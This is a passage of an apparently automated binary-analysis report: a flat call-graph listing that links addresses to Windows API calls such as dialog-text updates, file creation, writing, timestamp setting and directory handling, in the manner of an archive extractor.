API calls 18436->18426 18440 414717 18437->18440 18564 4028ba 18438->18564 18443 4146ec 18439->18443 18441 414047 SetDlgItemTextW 18440->18441 18455 41472d __aulldiv 18441->18455 18445 414047 SetDlgItemTextW 18443->18445 18445->18446 18446->18398 18475 414de8 18446->18475 18447->18406 18451 4148ed 18572 4020c6 free 18451->18572 18453->18369 18454 4147d6 SetDlgItemTextW 18454->18446 18455->18446 18455->18454 18456->18379 18573 402ca8 18457->18573 18460 4141d1 18460->18382 18461 402748 3 API calls 18461->18460 18464 413e05 18462->18464 18463 413ea0 18467 413ea6 18463->18467 18464->18463 18465 413e8c SendMessageW 18464->18465 18466 413e8b 18464->18466 18465->18463 18466->18465 18468 413ec1 18467->18468 18469 413f27 SendMessageW 18468->18469 18470 413f45 18468->18470 18469->18470 18470->18388 18472 41405e 18471->18472 18473 414090 18472->18473 18474 414080 SetDlgItemTextW 18472->18474 18473->18393 18474->18473 18476 414df2 __EH_prolog 18475->18476 18477 4025a5 2 API calls 18476->18477 18478 414e00 18477->18478 18576 41325b EnterCriticalSection LeaveCriticalSection 18478->18576 18480 414e0f 18482 40292d 4 API calls 18480->18482 18485 414e27 18480->18485 18481 414e5c 18483 414e79 18481->18483 18486 4028b2 4 API calls 18481->18486 18484 414e1f 18482->18484 18577 4028b2 18483->18577 18488 4028b2 4 API calls 18484->18488 18485->18481 18581 402969 18485->18581 18490 414e6d 18486->18490 18488->18485 18493 40292d 4 API calls 18490->18493 18493->18483 18494 40292d 4 API calls 18495 414e90 18494->18495 18497 414ece SetWindowTextW 18495->18497 18498 402678 2 API calls 18495->18498 18580 4020c6 free 18497->18580 18500 414ea2 18498->18500 18502 414908 6 API calls 18500->18502 18501 414ee2 18501->18398 18503 414eb1 18502->18503 18504 4028b2 4 API calls 18503->18504 18505 414eb9 18504->18505 18506 40292d 4 API calls 18505->18506 18507 414ec5 18506->18507 18589 4020c6 free 18507->18589 18509 414ecd 18509->18497 18609 4272c0 18510->18609 18512 41511b EnterCriticalSection 18513 415190 LeaveCriticalSection 18512->18513 18514 415155 18512->18514 18515 4151a2 18513->18515 18516 415218 18513->18516 18610 401ea7 18514->18610 18523 4151be 18515->18523 18626 41506e 18515->18626 18639 411a11 18516->18639 18522 4151e2 SendMessageW SendMessageW 18522->18516 18523->18516 18523->18522 18525 415188 18525->18513 18527 41516a 18527->18525 18620 405835 18527->18620 18528->18416 18530 413797 18529->18530 18532 4137ab 18529->18532 18530->18532 18674 41325b EnterCriticalSection LeaveCriticalSection 18530->18674 18532->18409 18534 4026f6 18533->18534 18535 40271a SetDlgItemTextW 18534->18535 18536 40209f 2 API calls 18534->18536 18535->18429 18537 402710 18536->18537 18675 4020c6 free 18537->18675 18540 402436 2 API calls 18539->18540 18541 402688 18540->18541 18542 414908 18541->18542 18543 414912 18542->18543 18544 414822 SetDlgItemTextW 18542->18544 18676 402cc9 18543->18676 18548 4020c6 free 18544->18548 18548->18420 18550 40209f 2 API calls 18549->18550 18551 4025b2 18550->18551 18551->18412 18553 4027ae 18552->18553 18555 4027c1 18552->18555 18554 40209f 2 API calls 18553->18554 18556 4027b8 18554->18556 18555->18436 18687 4020c6 free 18556->18687 18559 402754 18558->18559 18560 402758 18558->18560 18559->18426 18560->18559 18561 40209f 2 API calls 18560->18561 18562 40276c 18561->18562 18688 4020c6 free 18562->18688 18565 4028c5 18564->18565 18566 4028ca 18564->18566 18567 402459 4 API calls 18565->18567 18568 40292d 18566->18568 18567->18566 18569 40246e 4 API calls 18568->18569 18570 40293e SetDlgItemTextW 18569->18570 18571 4020c6 free 18570->18571 18571->18451 18572->18453 18574 402cb0 wcscmp 18573->18574 18575 402cc2 18573->18575 18574->18575 18575->18460 18575->18461 18576->18480 18578 401dbd 4 API calls 18577->18578 18579 4028b9 18578->18579 18579->18494 18580->18501 18582 40297b 18581->18582 18590 40246e 18582->18590 18585 401dbd 18586 401dc8 18585->18586 18587 401dcd 18585->18587 18606 402459 18586->18606 18587->18481 18589->18509 18591 402480 18590->18591 18592 402493 18590->18592 18594 40237f 18591->18594 18592->18585 18595 4023d4 _CxxThrowException 18594->18595 18596 40238e 18594->18596 18596->18595 18597 402396 18596->18597 18602 40209f malloc 18597->18602 18601 4023c7 18601->18592 18603 4020b0 _CxxThrowException 18602->18603 18604 4020c4 18602->18604 18603->18604 18605 4020c6 free 18604->18605 18605->18601 18607 40237f 4 API calls 18606->18607 18608 40246d 18607->18608 18608->18587 18609->18512 18611 401ed0 18610->18611 18613 401eb2 18610->18613 18614 409cbf 18611->18614 18612 4020c6 free ctype 18612->18613 18613->18611 18613->18612 18615 409cd0 18614->18615 18616 409cf3 18614->18616 18645 4020c6 free 18615->18645 18616->18527 18618 409cd7 18619 40209f 2 API calls 18618->18619 18619->18616 18621 40583f __EH_prolog 18620->18621 18622 40209f 2 API calls 18621->18622 18623 40584a 18622->18623 18624 405861 18623->18624 18625 402678 2 API calls 18623->18625 18624->18527 18625->18624 18627 415078 __EH_prolog 18626->18627 18646 4025e8 18627->18646 18629 4150e4 18631 415009 3 API calls 18629->18631 18630 41508b 18630->18629 18650 4084a4 18630->18650 18653 415009 SendMessageW 18630->18653 18659 4020c6 free 18630->18659 18660 402d17 18630->18660 18632 4150f1 18631->18632 18663 4020c6 free 18632->18663 18634 4150ff 18634->18515 18640 411a3a 18639->18640 18641 411a1c 18639->18641 18673 4020c6 free 18640->18673 18641->18640 18644 4020c6 free ctype 18641->18644 18643 411a42 18643->18399 18644->18641 18645->18618 18647 4025f8 18646->18647 18664 402436 18647->18664 18667 402496 18650->18667 18654 41503c 18653->18654 18671 405e47 SendMessageW 18654->18671 18656 415059 18672 405e7e SendMessageW 18656->18672 18658 415068 18658->18630 18659->18630 18661 402d23 memmove 18660->18661 18662 402d46 18660->18662 18661->18662 18662->18630 18663->18634 18665 40209f 2 API calls 18664->18665 18666 40244b 18665->18666 18666->18630 18668 4024aa 18667->18668 18669 402436 2 API calls 18668->18669 18670 4024b4 18669->18670 18670->18630 18671->18656 18672->18658 18673->18643 18674->18532 18675->18535 18677 402ce0 18676->18677 18678 402d11 18677->18678 18679 402ce8 memmove 18677->18679 18680 402b2a 18678->18680 18679->18678 18681 402b39 18680->18681 18683 402b54 18680->18683 18681->18683 18684 402343 18681->18684 18683->18544 18685 40246e 4 API calls 18684->18685 18686 402351 memmove 18685->18686 18686->18683 18687->18555 18688->18559 18689 406d48 18690 406d55 18689->18690 18691 406d66 18689->18691 18690->18691 18695 406d6d 18690->18695 18696 406d77 __EH_prolog 18695->18696 18700 41f3f0 18696->18700 18699 4020c6 free 18699->18691 18701 406d60 18700->18701 18702 41f3f4 VirtualFree 18700->18702 18701->18699 18702->18701 18703 406209 18704 406218 18703->18704 18706 40621e 18703->18706 18707 407b91 18704->18707 18708 407b9e 18707->18708 18709 407bc8 18708->18709 18712 417852 18708->18712 18719 4177a7 18708->18719 18709->18706 18715 417861 18712->18715 18713 41793b 18713->18708 18714 417816 44 API calls 18714->18715 18715->18713 18715->18714 18724 40683e 18715->18724 18729 417665 18715->18729 18736 4177ea 18715->18736 18720 4177b1 18719->18720 19633 403a97 SetFileAttributesW 18720->19633 19634 40b87d 18720->19634 18721 4177e6 18721->18708 18740 40484b 18724->18740 18728 406871 18728->18715 18730 41766f __EH_prolog 18729->18730 18751 4047c0 18730->18751 18754 403a4e CreateFileW 18730->18754 18757 4046fc 18730->18757 18760 40a9c5 18730->18760 18731 4176ea 18731->18715 18737 4177f1 18736->18737 18738 4177a7 14 API calls 18737->18738 18739 417815 18738->18739 18739->18715 18743 404858 18740->18743 18742 404884 18744 406663 18742->18744 18743->18742 18748 404811 18743->18748 18745 406667 18744->18745 18746 40666a GetLastError 18744->18746 18745->18728 18747 406674 18746->18747 18747->18728 18749 404822 WriteFile 18748->18749 18750 40481f 18748->18750 18749->18743 18750->18749 18990 4045fc 18751->18990 18755 403a73 SetFileTime CloseHandle 18754->18755 18756 403a8f 18754->18756 18755->18756 18756->18731 18998 4046a0 SetFilePointer 18757->18998 18759 40470f 18759->18731 18762 40a9cf __EH_prolog 18760->18762 19001 40e048 18762->19001 18763 40aa84 18766 405291 VariantClear 18763->18766 18765 40aaa7 19010 405291 18765->19010 18837 40aaa2 18766->18837 18768 40aacb 19015 40dda0 18768->19015 18774 40ab26 18774->18837 19022 40bbf5 18774->19022 18777 40aaff 18777->18774 18777->18837 19169 402e9b 18777->19169 18778 40ac17 18782 40ac40 18778->18782 18784 40ac60 18778->18784 18779 40abc7 18780 40209f 2 API calls 18779->18780 18780->18837 18783 405291 VariantClear 18782->18783 18783->18837 18785 40b550 18784->18785 18786 405291 VariantClear 18784->18786 18787 405291 VariantClear 18785->18787 18788 40ac95 18786->18788 18787->18837 19028 40a774 18788->19028 18791 40a774 VariantClear 18792 40ace4 18791->18792 18793 40a774 VariantClear 18792->18793 18792->18837 18794 40ad1b 18793->18794 18795 40dda0 VariantClear 18794->18795 18794->18837 18796 40ad51 18795->18796 18796->18837 19032 40d6bb 18796->19032 18800 40ae99 18801 402678 2 API calls 18800->18801 18804 40aea6 18801->18804 18802 40ad9e 18802->18800 18806 4025a5 2 API calls 18802->18806 18811 40aee4 18804->18811 19074 40b635 18804->19074 18807 40adaf 18806->18807 19066 40a6c0 18807->19066 18816 40aeea 18811->18816 18826 40af2c 18811->18826 18814 40ae8d 18821 402748 3 API calls 18816->18821 18819 40b329 18822 402748 3 API calls 18819->18822 18823 40aefb 18821->18823 18825 40b339 18822->18825 18824 40af07 18823->18824 19191 403ab8 RemoveDirectoryW 18823->19191 18826->18819 18829 4025a5 2 API calls 18826->18829 18832 40af4b 18829->18832 19084 40409f 18832->19084 18837->18731 18995 404635 18990->18995 18993 404630 18993->18731 18994 40460b CreateFileW 18994->18993 18996 40463f CloseHandle 18995->18996 18997 404607 18995->18997 18996->18997 18997->18993 18997->18994 18999 4046c9 GetLastError 18998->18999 19000 4046d3 18998->19000 18999->19000 19000->18759 19002 401ea7 free 19001->19002 19003 40e06e 19002->19003 19310 40ddff 19003->19310 19006 40aa57 19006->18763 19006->18765 19006->18837 19011 405297 19010->19011 19014 40523b 19010->19014 19011->18768 19012 405279 19012->18768 19013 405262 VariantClear 19013->18768 19014->19012 19014->19013 19017 40ddc9 19015->19017 19016 405291 VariantClear 19018 40aad9 19016->19018 19017->19016 19018->18837 19019 40a809 19018->19019 19411 40e0a5 19019->19411 19023 40bc22 19022->19023 19027 40bc04 19022->19027 19418 40bd3f 19023->19418 19026 4020c6 free ctype 19026->19027 19027->19023 19027->19026 19029 40a77e __EH_prolog 19028->19029 19030 405291 VariantClear 19029->19030 19031 40a7f6 19030->19031 19031->18791 19031->18837 19033 40d6c5 __EH_prolog 19032->19033 19035 40d781 19033->19035 19038 40d70a wcscmp 19033->19038 19039 40d721 19033->19039 19034 40d7ef 19036 40d820 19034->19036 19037 40d7fc 19034->19037 19052 40ad72 19034->19052 19035->19034 19430 401af9 19035->19430 19438 4026a6 19035->19438 19444 40d576 19035->19444 19041 4026a6 3 API calls 19036->19041 19036->19052 19448 4025c8 19037->19448 19038->19035 19038->19039 19039->19035 19046 4025e8 2 API calls 19039->19046 19041->19052 19044 401ab2 4 API calls 19047 40d815 19044->19047 19049 40d765 19046->19049 19451 4020c6 free 19047->19451 19421 4035a0 19049->19421 19055 40d844 19052->19055 19056 40d84e __EH_prolog 19055->19056 19057 4025a5 2 API calls 19056->19057 19059 40d864 19057->19059 19058 40d890 19060 402678 2 API calls 19058->19060 19059->19058 19061 401dbd 4 API calls 19059->19061 19062 40292d 4 API calls 19059->19062 19063 40d89c 19060->19063 19061->19059 19062->19059 19463 4020c6 free 19063->19463 19065 40ad7c 19065->18800 19065->18802 19172 4035ea 19065->19172 19068 40a6db 19066->19068 19067 402748 3 API calls 19073 40a6ff 19067->19073 19068->19067 19068->19073 19069 40a76d 19069->18814 19178 40bc31 19069->19178 19070 401dbd 4 API calls 19070->19073 19071 40292d 4 API calls 19071->19073 19073->19069 19073->19070 19073->19071 19464 403ad3 CreateDirectoryW 19073->19464 19075 40b63f __EH_prolog 19074->19075 19076 402678 2 API calls 19075->19076 19079 40b656 19076->19079 19077 40292d 4 API calls 19079->19077 19166 40a9af 19521 40a981 19166->19521 19170 402ea4 wcscmp 19169->19170 19171 402eaf 19169->19171 19170->18777 19171->19171 19173 4035fb 19172->19173 19177 403608 19172->19177 19568 4020c6 free 19173->19568 19175 403602 19569 4020c6 free 19175->19569 19177->18802 19191->18824 19311 40dda0 VariantClear 19310->19311 19312 40de0a 19311->19312 19312->19006 19313 40dffb 19312->19313 19335 40de1b 19313->19335 19315 40e041 19315->19006 19320 402eb4 19315->19320 19319 402b2a 5 API calls 19319->19315 19321 402ebe __EH_prolog 19320->19321 19322 401ea7 free 19321->19322 19323 402ed0 19322->19323 19324 402f46 19323->19324 19325 4025a5 2 API calls 19323->19325 19324->19006 19331 402ee1 19325->19331 19326 402f21 19327 4027a0 3 API calls 19326->19327 19328 402f32 19327->19328 19330 401ab2 4 API calls 19328->19330 19329 4027a0 3 API calls 19329->19331 19332 402f3e 19330->19332 19331->19326 19331->19329 19390 401ab2 19331->19390 19398 4020c6 free 19332->19398 19341 40de25 __EH_prolog 19335->19341 19336 40de78 19337 40ded1 19336->19337 19338 40dede 19336->19338 19347 40ded9 19336->19347 19339 405291 VariantClear 19337->19339 19340 40def6 19338->19340 19342 40df26 19338->19342 19343 40deea 19338->19343 19339->19347 19340->19342 19349 40def4 19340->19349 19341->19336 19355 4023e9 19341->19355 19344 405291 VariantClear 19342->19344 19362 4027f3 SysStringLen 19343->19362 19344->19347 19346 405291 VariantClear 19350 40df10 19346->19350 19347->19315 19352 40de0d 19347->19352 19349->19346 19350->19347 19368 40df44 19350->19368 19353 40dda0 VariantClear 19352->19353 19354 40de18 19353->19354 19354->19315 19354->19319 19356 402410 19355->19356 19357 4023fb _CxxThrowException 19355->19357 19358 40209f 2 API calls 19356->19358 19357->19356 19359 40241b 19358->19359 19384 4020c6 free 19359->19384 19361 402428 19361->19336 19363 40281c 19362->19363 19364 402808 19362->19364 19363->19349 19365 40209f 2 API calls 19364->19365 19366 402813 19365->19366 19385 4020c6 free 19366->19385 19369 40df4e __EH_prolog 19368->19369 19370 40ddff VariantClear 19369->19370 19371 40df71 19370->19371 19372 402748 3 API calls 19371->19372 19382 40dfd1 19371->19382 19373 40df88 19372->19373 19374 40dfe4 19373->19374 19375 40dfb6 19373->19375 19376 40dfab 19373->19376 19374->19376 19378 40dfc9 19374->19378 19377 401dbd 4 API calls 19375->19377 19379 405291 VariantClear 19376->19379 19380 40dfbf 19377->19380 19381 405291 VariantClear 19378->19381 19379->19382 19386 4028e1 19380->19386 19381->19382 19382->19347 19384->19361 19385->19363 19387 4028f1 19386->19387 19387->19387 19388 40246e 4 API calls 19387->19388 19389 402904 19388->19389 19389->19378 19391 401abc __EH_prolog 19390->19391 19392 40209f 2 API calls 19391->19392 19393 401ac7 19392->19393 19394 401ade 19393->19394 19395 402678 2 API calls 19393->19395 19399 401ce1 19394->19399 19395->19394 19398->19324 19402 40ffa1 19399->19402 19403 401aea 19402->19403 19404 40ffac 19402->19404 19403->19331 19405 40209f 2 API calls 19404->19405 19406 40ffcb 19405->19406 19407 40ffe4 19406->19407 19408 40ffd5 memcpy 19406->19408 19410 4020c6 free 19407->19410 19408->19407 19410->19403 19412 40e0af __EH_prolog 19411->19412 19413 40e13f 19412->19413 19417 40e0e7 19412->19417 19415 405291 VariantClear 19413->19415 19414 405291 VariantClear 19416 40a825 19414->19416 19415->19416 19416->18777 19416->18837 19416->19166 19417->19414 19419 40bd4b memmove 19418->19419 19420 40abab 19418->19420 19419->19420 19420->18778 19420->18779 19420->18837 19422 4035aa __EH_prolog 19421->19422 19423 40209f 2 API calls 19422->19423 19424 4035b5 19423->19424 19425 4035cc 19424->19425 19426 402678 2 API calls 19424->19426 19452 403780 19425->19452 19426->19425 19428 4035db 19429 4020c6 free 19428->19429 19429->19035 19431 401b18 19430->19431 19432 401b0b 19430->19432 19457 401cac memmove 19431->19457 19455 4020c6 free 19432->19455 19435 401b12 19456 4020c6 free 19435->19456 19436 401b22 19436->19035 19439 4026b2 19438->19439 19440 4026c3 19438->19440 19441 40209f 2 API calls 19439->19441 19440->19035 19442 4026ba 19441->19442 19458 4020c6 free 19442->19458 19445 40d57e 19444->19445 19446 40d58b 19445->19446 19459 402af1 19445->19459 19446->19035 19449 402436 2 API calls 19448->19449 19450 4025d2 19449->19450 19450->19044 19451->19052 19453 40ffa1 4 API calls 19452->19453 19454 403789 memmove 19453->19454 19454->19428 19455->19435 19456->19431 19457->19436 19458->19440 19460 402b01 memmove 19459->19460 19461 402afc 19459->19461 19460->19446 19462 402459 4 API calls 19461->19462 19462->19460 19463->19065 19464->19073 19524 4033ce 19521->19524 19525 4033d8 __EH_prolog 19524->19525 19543 403391 19525->19543 19528 403391 2 API calls 19530 40340a 19528->19530 19529 4033f5 19529->18777 19530->19529 19547 4031d8 19530->19547 19535 401af9 2 API calls 19536 40343b 19535->19536 19537 4033ce 6 API calls 19536->19537 19538 403452 19537->19538 19539 403466 19538->19539 19540 403456 19538->19540 19541 411a11 ctype free 19539->19541 19542 411a11 ctype free 19540->19542 19541->19529 19542->19529 19546 40339d 19543->19546 19544 4033c3 19544->19528 19544->19529 19546->19544 19558 4030d3 19546->19558 19548 403201 19547->19548 19549 4031e3 19547->19549 19548->19529 19551 403486 19548->19551 19549->19548 19550 402e9b wcscmp 19549->19550 19550->19549 19552 403490 __EH_prolog 19551->19552 19554 40209f 2 API calls 19552->19554 19557 4034c5 19552->19557 19553 40342d 19553->19535 19554->19557 19555 40209f 2 API calls 19555->19557 19556 402678 2 API calls 19556->19557 19557->19553 19557->19555 19557->19556 19562 4030e2 19558->19562 19559 4031a7 19559->19546 19561 402e9b wcscmp 19561->19562 19562->19559 19562->19561 19563 402fd5 19562->19563 19566 402fde 19563->19566 19564 40305c 19564->19562 19565 402fde CharUpperW 19565->19566 19566->19564 19566->19565 19567 402150 CharUpperW 19566->19567 19567->19566 19568->19175 19569->19177 19633->18721 19635 40b887 __EH_prolog 19634->19635 19640 40b751 19635->19640 19638 40a809 VariantClear 19639 40b8ba 19638->19639 19639->18721 19641 40b761 19640->19641 19642 40b768 19640->19642 19641->19638 19641->19639 19650 4047f4 SetFileTime 19642->19650 19645 40b7e7 19646 40489f 3 API calls 19645->19646 19649 40b839 19645->19649 19647 40b81e 19646->19647 19648 40a893 7 API calls 19647->19648 19647->19649 19648->19649 19651 40682f 19649->19651 19650->19645 19652 404635 ctype CloseHandle 19651->19652 19653 406837 19652->19653 19654 415bee 19655 415bfb 19654->19655 19658 40c461 19655->19658 19665 40c46b __EH_prolog 19658->19665 19659 40c577 19660 40c590 19659->19660 19661 40209f 2 API calls 19659->19661 19663 40209f 2 API calls 19660->19663 19661->19660 19662 4025a5 2 API calls 19662->19665 19664 40c5bd 19663->19664 19710 40c5d0 19664->19710 19864 40a075 19664->19864 19665->19659 19665->19662 19668 40409f 16 API calls 19665->19668 19669 40c5d4 _CxxThrowException 19665->19669 19671 40c5e9 _CxxThrowException 19665->19671 19860 408ef2 19665->19860 19863 4020c6 free 19665->19863 19668->19665 19669->19671 19671->19710 19672 40cc83 19893 4020c6 free 19672->19893 19674 4025a5 malloc _CxxThrowException 19674->19710 19675 40ca75 19675->19672 19686 40c693 19675->19686 19676 40cd10 19894 4020c6 free 19676->19894 19679 40cc72 19892 4020c6 free 19679->19892 19680 40cc7a 19682 40cc30 _CxxThrowException 19682->19675 19683 40cab5 19880 4020c6 free 19683->19880 19891 4020c6 free 19686->19891 19689 402748 3 API calls 19689->19710 19691 40cad4 19881 4020c6 free 19691->19881 19693 40cadf 19695 401bf3 free 19693->19695 19694 40cb1c 19883 4020c6 free 19694->19883 19697 40caec 19695->19697 19699 40ce6d free 19697->19699 19698 40cb27 19700 401bf3 free 19698->19700 19701 40cafb 19699->19701 19703 40cb34 19700->19703 19882 4020c6 free 19701->19882 19702 4020c6 free ctype 19702->19710 19708 40ce6d free 19703->19708 19709 40cb43 19708->19709 19884 4020c6 free 19709->19884 19710->19674 19710->19675 19710->19682 19710->19683 19710->19686 19710->19689 19710->19691 19710->19694 19710->19702 19712 40cba8 19710->19712 19714 40409f 16 API calls 19710->19714 19716 40cb62 19710->19716 19718 40cbeb 19710->19718 19738 40cdc1 19710->19738 19744 40d3e3 19710->19744 19750 40cd2d 19710->19750 19754 40fcac 19710->19754 19757 40ceda 19710->19757 19842 401bf3 19710->19842 19848 40ce6d 19710->19848 19876 40c418 19710->19876 19887 4020c6 free 19712->19887 19714->19710 19885 4020c6 free 19716->19885 19717 40cbb3 19719 401bf3 free 19717->19719 19889 4020c6 free 19718->19889 19723 40cbc0 19719->19723 19721 40cb6d 19724 401bf3 free 19721->19724 19726 40ce6d free 19723->19726 19728 40cb7a 19724->19728 19725 40cbf6 19729 401bf3 free 19725->19729 19727 40cbcf 19726->19727 19888 4020c6 free 19727->19888 19731 40ce6d free 19728->19731 19732 40cc03 19729->19732 19733 40cb89 19731->19733 19734 40ce6d free 19732->19734 19886 4020c6 free 19733->19886 19736 40cc12 19734->19736 19890 4020c6 free 19736->19890 19739 40cdcb __EH_prolog 19738->19739 19740 4025a5 2 API calls 19739->19740 19741 40ce00 19740->19741 19895 40ce1b 19741->19895 19745 40d3ed __EH_prolog 19744->19745 19747 40209f 2 API calls 19745->19747 19749 40d426 19745->19749 19746 40d46d 19746->19710 19747->19749 19748 40209f 2 API calls 19748->19749 19749->19746 19749->19748 19751 40cd3d 19750->19751 19752 4025a5 2 API calls 19751->19752 19753 40cd5a 19752->19753 19753->19710 19901 40f89e 19754->19901 19758 40cee4 __EH_prolog 19757->19758 19759 402678 2 API calls 19758->19759 19760 40cf34 19759->19760 19761 402678 2 API calls 19760->19761 19766 40cf4c 19761->19766 19762 40cf8e 20577 40d512 19762->20577 19765 40262b 2 API calls 19767 40cfaf 19765->19767 19766->19762 19768 402748 3 API calls 19766->19768 20589 402c3d 19767->20589 19768->19762 19772 40cfc5 20598 4020c6 free 19772->20598 19774 40cfd1 19775 4025a5 2 API calls 19774->19775 19776 40cfde 19775->19776 19777 402678 2 API calls 19776->19777 19778 40cff1 19777->19778 19779 4025a5 2 API calls 19778->19779 19780 40d061 19778->19780 19782 40d007 19779->19782 19781 40d18b 19780->19781 19788 40d087 19780->19788 19792 4025a5 2 API calls 19780->19792 19783 40d19d 19781->19783 19785 401ab2 4 API calls 19781->19785 20669 402f56 19782->20669 19786 40d1f2 19783->19786 19787 40d1a2 19783->19787 19785->19783 20614 403ae2 19786->20614 20678 402846 19787->20678 20693 4020c6 free 19788->20693 19789 40d051 20675 4020c6 free 19789->20675 19838 40d096 19792->19838 19793 40d1af 20599 40a397 19793->20599 19796 40d1fe GetLastError 19799 40d20a 19796->19799 19803 402846 3 API calls 19799->19803 19800 40d2cc 20694 4020c6 free 19800->20694 19806 40d21c 19803->19806 19805 402748 3 API calls 19805->19789 19810 40292d 4 API calls 19806->19810 19807 40d2d4 20695 4020c6 free 19807->20695 19808 40d13a 19809 40d173 19808->19809 19821 40d13f 19808->19821 19814 411a11 ctype free 19809->19814 19810->19788 19812 40d283 19839 4177a7 14 API calls 19812->19839 20634 417988 19812->20634 20664 417816 19812->20664 19813 40d2df 20696 4020c6 free 19813->20696 19819 40d17f 19814->19819 19815 40e048 9 API calls 19815->19838 19816 40d281 19836 40d29d 19816->19836 20688 40bbd4 19816->20688 19818 401ce1 4 API calls 19818->19838 20677 4020c6 free 19819->20677 19825 411a11 ctype free 19821->19825 19822 40d2e7 19823 411a11 ctype free 19822->19823 19826 40d2f5 19823->19826 19830 40d15f 19825->19830 20697 4020c6 free 19826->20697 19827 40d275 19829 405291 VariantClear 19827->19829 19828 40d242 19828->19827 20684 40d311 19828->20684 19829->19816 20676 4020c6 free 19830->20676 19831 40a9af 6 API calls 19831->19838 19835 40d2fd 19835->19710 19836->19788 19837 40bbd4 15 API calls 19836->19837 19837->19788 19838->19808 19838->19815 19838->19818 19838->19821 19838->19831 19839->19816 19843 401bfa 19842->19843 19844 401c0c 19843->19844 21144 4020c6 free 19843->21144 21143 4020c6 free 19844->21143 19847 401c13 19847->19710 19849 40ce77 __EH_prolog 19848->19849 19850 40f1da free 19849->19850 19851 40ce8a 19850->19851 19852 40cec3 free 19851->19852 19853 40ce96 19852->19853 21145 4020c6 free 19853->21145 19855 40ce9e 19856 411a11 ctype free 19855->19856 19857 40ceab 19856->19857 21146 40d392 19857->21146 21155 4159da 19860->21155 19863->19665 19865 40a07f __EH_prolog 19864->19865 19866 4025a5 2 API calls 19865->19866 19867 40a0d2 19866->19867 19868 4025a5 2 API calls 19867->19868 19869 40a0de 19868->19869 21164 40a19e 19869->21164 19872 4025a5 2 API calls 19873 40a0f9 19872->19873 19874 40209f 2 API calls 19873->19874 19875 40a164 19874->19875 19875->19710 19877 40c454 19876->19877 19879 40c42c 19876->19879 19877->19710 19878 402e9b wcscmp 19878->19879 19879->19877 19879->19878 19880->19686 19881->19693 19882->19686 19883->19698 19884->19686 19885->19721 19886->19686 19887->19717 19888->19686 19889->19725 19890->19686 19891->19679 19892->19680 19893->19676 19894->19680 19896 40ce25 __EH_prolog 19895->19896 19897 4025a5 2 API calls 19896->19897 19898 40ce52 19897->19898 19899 4025a5 2 API calls 19898->19899 19900 40ce0c 19899->19900 19900->19710 19902 40f8a8 __EH_prolog 19901->19902 19903 40209f 2 API calls 19902->19903 19904 40f8c2 19903->19904 19905 40f8d4 19904->19905 19998 40fa18 19904->19998 19907 4025a5 2 API calls 19905->19907 19908 40f903 19907->19908 19909 4025a5 2 API calls 19908->19909 19910 40f90f 19909->19910 19911 40f940 19910->19911 19930 403d4f 19910->19930 19951 40f201 19911->19951 19917 40f991 19920 40f9e5 19917->19920 19925 402581 2 API calls 19917->19925 19927 401ab2 4 API calls 19917->19927 20008 4020c6 free 19917->20008 19918 40f96d 20006 4020c6 free 19918->20006 20009 4020c6 free 19920->20009 19921 40f975 20007 4020c6 free 19921->20007 19924 40f9ed 20010 4020c6 free 19924->20010 19925->19917 19927->19917 19928 40f97d 19928->19710 20011 403cf2 19930->20011 19933 403d69 19935 4026e4 3 API calls 19933->19935 19934 4026e4 3 API calls 19934->19933 19936 403d82 19935->19936 19937 40fba5 19936->19937 19938 40fbaf __EH_prolog 19937->19938 19939 402748 3 API calls 19938->19939 19940 40fbc4 19939->19940 19941 402581 2 API calls 19940->19941 19942 40fbd1 19941->19942 19943 40409f 16 API calls 19942->19943 19944 40fbe0 19943->19944 20074 4020c6 free 19944->20074 19946 40fbf4 19947 40fbf9 _CxxThrowException 19946->19947 19948 40fc0e 19946->19948 19947->19948 19949 401ea7 free 19948->19949 19950 40fc16 19949->19950 19950->19911 19952 40f20b __EH_prolog 19951->19952 20075 40f1da 19952->20075 19954 40f619 19956 405291 VariantClear 19954->19956 19955 40f21c 19955->19954 19957 40f7f0 19955->19957 19958 402748 malloc _CxxThrowException free 19955->19958 19961 40f5df 19955->19961 19963 405291 VariantClear 19955->19963 19964 40fcd4 malloc _CxxThrowException free memcpy 19955->19964 19967 40d480 free 19955->19967 19970 40f7fd malloc _CxxThrowException 19955->19970 19971 40de1b 7 API calls 19955->19971 19972 40f628 19955->19972 19973 40dda0 VariantClear 19955->19973 19975 40f672 19955->19975 19977 40cd2d 2 API calls 19955->19977 19979 40f6bc 19955->19979 19980 40f753 19955->19980 19996 4020c6 free ctype 19955->19996 19997 40f22a 19955->19997 20079 40ee36 19955->20079 20113 40ebbf 19955->20113 20162 40e15a 19955->20162 19956->19997 19959 405291 VariantClear 19957->19959 19958->19955 19959->19997 19962 40f605 19961->19962 20166 40eb64 19961->20166 20171 40d480 19962->20171 19963->19955 19964->19955 19967->19955 19969 402748 3 API calls 19969->19962 19970->19955 19971->19955 19974 40d480 free 19972->19974 19973->19955 19974->19997 19976 40d480 free 19975->19976 19976->19997 19977->19955 19981 40eb64 3 API calls 19979->19981 20185 4020c6 free 19980->20185 19984 40f6ce 19981->19984 19985 402748 3 API calls 19984->19985 19987 40f6dd 19985->19987 19986 40f75b 20186 4020c6 free 19986->20186 20183 4020c6 free 19987->20183 19990 40f763 19992 40d480 free 19990->19992 19991 40f6e5 20184 4020c6 free 19991->20184 19992->19997 19994 40f6ed 19995 40d480 free 19994->19995 19995->19997 19996->19955 19997->19917 19997->19918 19999 40fa22 __EH_prolog 19998->19999 20000 4025a5 2 API calls 19999->20000 20001 40fa56 20000->20001 20002 4025a5 2 API calls 20001->20002 20003 40fa6c 20002->20003 20004 4025a5 2 API calls 20003->20004 20005 40fa7b 20004->20005 20005->19905 20006->19921 20007->19928 20008->19917 20009->19924 20010->19928 20012 405126 20011->20012 20015 404d9d 20012->20015 20016 404da7 __EH_prolog 20015->20016 20017 4026e4 3 API calls 20016->20017 20018 404dba 20017->20018 20019 404e18 20018->20019 20023 404dc7 20018->20023 20020 4025a5 2 API calls 20019->20020 20021 404e20 20020->20021 20024 404e36 20021->20024 20025 404e2b 20021->20025 20022 403d5b 20022->19933 20022->19934 20023->20022 20026 4025e8 2 API calls 20023->20026 20064 404f55 GetCurrentDirectoryW 20024->20064 20027 4026e4 3 API calls 20025->20027 20029 404de0 20026->20029 20030 404e34 20027->20030 20059 404fad 20029->20059 20032 404e64 20030->20032 20067 404900 20030->20067 20071 4020c6 free 20032->20071 20036 404e0b 20063 4020c6 free 20036->20063 20038 40292d 4 API calls 20038->20036 20039 4025a5 2 API calls 20040 404eca 20039->20040 20041 404ef7 20040->20041 20044 404edd 20040->20044 20042 4026e4 3 API calls 20041->20042 20045 404ef5 20042->20045 20043 404e4a 20043->20032 20043->20039 20046 4028e1 4 API calls 